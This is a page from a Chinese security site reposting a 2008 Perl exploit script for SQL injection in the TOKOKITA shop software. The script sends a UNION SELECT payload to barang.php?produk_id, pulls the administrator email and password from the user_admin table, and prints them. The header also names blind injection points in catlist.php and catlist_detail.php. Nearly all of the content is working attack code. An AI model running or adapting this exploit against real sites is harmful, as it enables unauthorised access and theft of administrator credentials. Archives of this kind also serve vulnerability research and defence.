首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TOKOKITA (barang.php produk_id) Remote SQL Injection Exploit
来源:NTOS-Team 作者:str0ke 发布时间:2008-06-25  
#!/usr/bin/perl
# k1tk4t Public Security Advisory
# ////////////////////////////////////////////////////////////
# TOKOKITA Multiple Remote SQL Injection
# Demosite : http://www.tokokita.net/toko/
# Vendor : http://www.tokokita.com/
# Kutu : 1. catlist.php?cat_id=[Blind SQLi]
#   2. catlist_detail.php?cat_id=[Blind SQLi]
#           3. barang.php?produk_id=[SQLi]
# Terimakasih untuk ;
# str0ke,DNX,n0c0py,L41n,
# NTOS-Team->[fl3xu5,opt1lc,sakitjiwa],
# eCHo->[y3dips,K-159,lirva32,dan staff lainnya]
use LWP::UserAgent;

if ( !$ARGV[1] ) {
print "\n //////////////////////////////////////////////////////////////////";
print "\n //                      ..::> k1tk4t <::..                      //";
print "\n // TOKOKITA (barang.php produk_id) Remote SQL Injection Exploit //";
print "\n //////////////////////////////////////////////////////////////////";
print "\n[!] ";
print "\n[!] Penggunaan : perl tokokita.pl [Site] [Path]";
print "\n[!] Contoh     : perl tokokita.pl localhost /toko/";
print "\n[!] ";
print "\n";
exit;
}
$site   = $ARGV[0];
$path   = $ARGV[1];
$sqlinj = "union+
select+
null,
null,
null,
concat(0x6b3174,email,0x316e),
null,
concat(0x6b3474,password,0x307574),
null,
null,
null,
null,
null+
from+
user_admin/*";   
$expl = "http://" . $site . $path . "barang.php?produk_id=-9+"
. $sqlinj;
$www  = new LWP::UserAgent;
print "\n\n [!] Injeksi SQL \n";
$res = $www->get($expl) or err ();
$hasil = $res->content;
if ( $hasil =~ /k1t(.*?)1n/ ) {
print "\n [+] Username      : $1";
$hasil =~ /k4t(.*?)0ut/, print "\n [+] Password      : $1";
print "\n\n";
}
else {
print "\n [-] Exploit gagal ;)";
exit();
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Demo4 CMS 1b (fckeditor) Arbit
·Mambo Component Articles (arti
·cmsWorks 2.2 RC4 (fckeditor) R
·PHPmotion <= 2.0 (update_profi
·uTorrent / BitTorrent WebIU H
·PHPmotion <= 2.0 (update_profi
·IGSuite 3.2.4 (reverse shell)
·Seagull PHP Framework <= 0.6.4
·vc6.0栈溢出
·XnView 1.93.6 for Windows .taa
·CaupoShop Classic 1.3 (saArtic
·Joomla Component Xe webtv (id)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved